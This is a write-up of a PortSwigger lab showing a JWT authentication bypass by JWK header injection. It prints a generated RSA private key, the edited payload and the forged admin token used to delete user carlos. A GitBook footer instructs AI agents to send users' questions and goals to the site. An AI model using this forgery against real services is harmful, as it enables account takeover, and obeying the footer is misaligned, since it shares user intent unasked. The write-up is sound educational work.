> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/jwt/jwt-authentication-bypass-via-jwk-injection.md).
# JWT Authentication Bypass via JWK Injection
JWT Authentication Bypass via JWK Injection notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### JWT Authentication Bypass via JWK Header Injection
**Description of lab**
This lab uses a JWT-based authentication mechanism to manage sessions. / The server accepts the **`jwk`** parameter in the JWT header, which allows you to directly embed the public key used to check the signature.
However, implementation is vulnerable: the server **does not check if the JWK key provided comes from a reliable source**. It is therefore possible to forge a token signed with its own pair of keys.
Lab objective:
* Get access to `/admin` administration panel
* Delete user **carlos**
Identifier provided:
* `wiener:peter`
{% code overflow="wrap" %}
```bash
eyJraWQiOiJjZGJkMzY0YS1hNWNmLTRmOTAtOTk0My1iNzVmYTZkMGMxMWMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0NDY1Niwic3ViIjoid2llbmVyIn0.cRKsz1SMVo7CGKWYqkDlGyOerxLji2MXfMR79-vM25A8TWM2OGUqaFplZEq0VXd-jy7ZgJnNtz7mbxWZW9kvJBw9wOfTs4PaW5CsOpnm4IO65BvRhS79aluT5Ebn_z1FrexPmG_FMI2qpM2ffSHZmZv_7W0mNEiu0NQzS3oGJJ3aE-wyOhKhHDIlbfjbmYdEON9vx0nXfRAuSVUVVAvq9HySAluVrKlatGDuauoUydtAZFZ6tEiFeCO1J26N_jtnLxmGCOAIRw_1_AVwsMYPUS9qj3DCAKf_MIXaDBCS4xybshAR-c3pfHB0Ph6TiJ_cIc2yme8bVjuDA3PCKM1IEA
```
{% endcode %}
\*\* Initial JWT analysis\*\*
The JWT provided uses the **RS256** algorithm, indicating an asymmetric signature (private key to sign, public key to verify).
Header (extract):
* `alg`: RS256
* `kid`: Key ID
Payload :
* `sub`: wiener
* `iss`: portswigger
* `exp`: expiration timestamp
**Generation of a new pair of RSA keys**
Using **JWT Editor**, a new RSA key is generated. / This key includes:
* `n` (modulus)
* `e` (exponent)
* `d`, `p`, `q`, etc.
* a new `kid`
This pair of keys is fully controlled by the attacker.
```json
{
"p": "7VxLt3jlCTSdv7prpyICjgt68c3M5u4MplvvN5d3a9MPzVGHy67q-9mtOkTc3iuS-zWf82EEA3TpJuiUEx5HN8mmlWJTwtV3GmOBHj_iaxj2TZEkjKOzEea73xZH87XX1K6snfA6eEK42rYVXpKmV5XGZ-KC2xA0wFAsCwK1rtU",
"kty": "RSA",
"q": "1hu3Bt9xHZD3ROydLWQnjqYsDt19XF0XNpWSdXUSOaI_FWmyliegvgF8CYmS6vP0lHDedi90GgejcTnWQSTQ6c4UGzkO0z5dlz72IIfBo7ZGOtLlQIuBfKFYUPZBPdt-bNKug_ReII7oj9G-AywBTas7NUY0GJRTBzW6BGi-9-E",
"d": "Cqif4xcqhrkU_K_8RIiR4WL9VwzJ4K9hz8JQJx0XyBQrKxM197tEcOPMUeBOff3xnwgilj4bVllaknYZqBfRnc6rw-5JBbjqBpKfuQbev1DXBmx-tMTM49XNXCOj5kU_0ntORgTCRrGrHz9BqWGo1A4D43hk4QH2lW04QU8-fNZCbnhQ20J_LNpPcf1TYclMioVViA7_hoVCq7pEBu4upU-wlF3d5vIPNcKT7_PezJ7XoXklTibCHd8_5GpxlAEVrVmtXn_e4rUVlqgz7YFD2IwIipYS2Niu09BrYcly0p5YYaLFc47uNyqCxyh909i03DUNHQDMSnPN8uLw0Us5IQ",
"e": "AQAB",
"kid": "91a29816-fb22-4e6a-a857-e58aab82febc",
"qi": "JsV1YLq9JkjFGsIwuewdLXp54xYdnUser-Agent1B_Y3Pm-cWAGB7KSg2J913iZvy5X3Wf_barFz7Fl6GU5VM9NqV8-4FLjEJbO2dMYMfzeqzXE21VkVVLV_egRzMj1ULjRNcz7h89NwJ3UkAbS52fCvXlZz5LnGcn84XjLV-QZm4EtNLoo",
"dp": "q6LX5Z34EIYJpACLo9mF-2z1xDBLAJoWb51_B7XxVvjSLmfMSE7-AIvRJZdyFv1vVVPbi8QVgOJjTg1UNdbpLMAWQ2NMqlBtxZk6XsNXWJY-VKylv0UIUeOE6rZT5TkTDuoYTETQIvIsdYrBPRfSTPcy9x_l-75mRsIyduvIsNk",
"dq": "ZrvJqHySNBOY8fNuv5bs_B9zyHYybp0kREakjcNsyUa2ajnbPP0qvcDMmW7vldkUpB08QQ0n8k1z-SI9UeiubWE6eI16NZYZJjdJtfYtzbXqINOMuNm3eeuZCs_-IgYttV2p6xrYB1tK76c-OxtkTLY6pKdY2-pfpHf9F5yC9UE",
"n": "xoTZurTfaq6fa_IHNDTr72cgNt1918ADbf5bTMEUQYwDXUdkYHzbXK_JaVZnJjV7VTsQ41TICA2ZXkhJ7mRXfqp3P-97TINyT_dvxyZzp5Mvp39PKAhqHsneIRD49GN10oCSxED9bplQVNuP7xJnUzMyJN65AQZ2pv2OzF0JViV37m80rvmM2gZRAq_OsZx8UJczaBYo2WAB5q4OQursOnUEv17_Hdv3PyBwkekHYYbjZNqu_g7ltmog53SIRtpXNP4hOTQ78SlrEEDVAw7LQ0TVQ1zA3XgoND-1VFldznY2cgjM56lLpy1oQErqBIllMERCyRMBe-ebMaR893QsNQ"
}
```
**Payload Modification**
The `sub` field is modified to usurp the administrator's identity:
```json
{
"iss": "portswigger",
"exp": 1767544656,
"sub": "administrator"
}
```
**Injection of JWK into the header**
In the header of the JWT, a field **`jwk`** is added.
It contains the RSA public key corresponding to the private key used to sign the token.
Thus, the JWT:
* declares its own verification key,
* is signed with the associated private key,
* and remains cryptographically consistent.
The server accepts this key without checking its origin.
**Token Signing**
The JWT is signed with the previously generated private key. / The signature is therefore valid **according to the JWK key embedded** in the header.
{% code overflow="wrap" %}
```bash
eyJraWQiOiI5MWEyOTgxNi1mYjIyLTRlNmEtYTg1Ny1lNThhYWI4MmZlYmMiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsImtpZCI6IjkxYTI5ODE2LWZiMjItNGU2YS1hODU3LWU1OGFhYjgyZmViYyIsIm4iOiJ4b1RadXJUZmFxNmZhX0lITkRUcjcyY2dOdDE5MThBRGJmNWJUTUVVUVl3RFhVZGtZSHpiWEtfSmFWWm5KalY3VlRzUTQxVElDQTJaWGtoSjdtUlhmcXAzUC05N1RJTnlUX2R2eHlaenA1TXZwMzlQS0FocUhzbmVJUkQ0OUdOMTBvQ1N4RUQ5YnBsUVZOdVA3eEpuVXpNeUpONjVBUVoycHYyT3pGMEpWaVYzN204MHJ2bU0yZ1pSQXFfT3NaeDhVSmN6YUJZbzJXQUI1cTRPUXVyc09uVUV2MTdfSGR2M1B5QndrZWtIWVlialpOcXVfZzdsdG1vZzUzU0lSdHBYTlA0aE9UUTc4U2xyRUVEVkF3N0xRMFRWUTF6QTNYZ29ORC0xVkZsZHpuWTJjZ2pNNTZsTHB5MW9RRXJxQklsbE1FUkN5Uk1CZS1lYk1hUjg5M1FzTlEifX0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0NDY1Niwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JIAolQZDPvtAL91fLvyuYGjz8CKi1S8vntwWZLdeaa92tb8fWl2ZAg1W5jHR5xqcFDQHDXiAreCt2N60FHpGVB3XM5Goddbn7H3rC_xNYcHLzi8uj4HvwnJfPsFQY5COJAGbAGvN0Df3nSRZXM25RA3tlEHtI16GOFGiLTKFjypoV9Y1sMoF6Uf3J7TFxq-l3c8agzWLOxvbHUgyKlM42aT4Ac12PeDd8cyMbcquDfrsQRlpYJWG215hkNN8LNYiZJd0mhP__YmMj6uFIB2gNdhZnIteGdguzcZWWv5008xhy2E8cHEDkvqExb6aVTtbWcP8zDhXbHYSUu-l59cLXQ
```
{% endcode %}
**Result**
Server accepts forged JWT. / Access to the `/admin` panel is granted with the admin privileges.
User **carlos** can then be deleted, which validates the lab
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/jwt/jwt-authentication-bypass-via-jwk-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)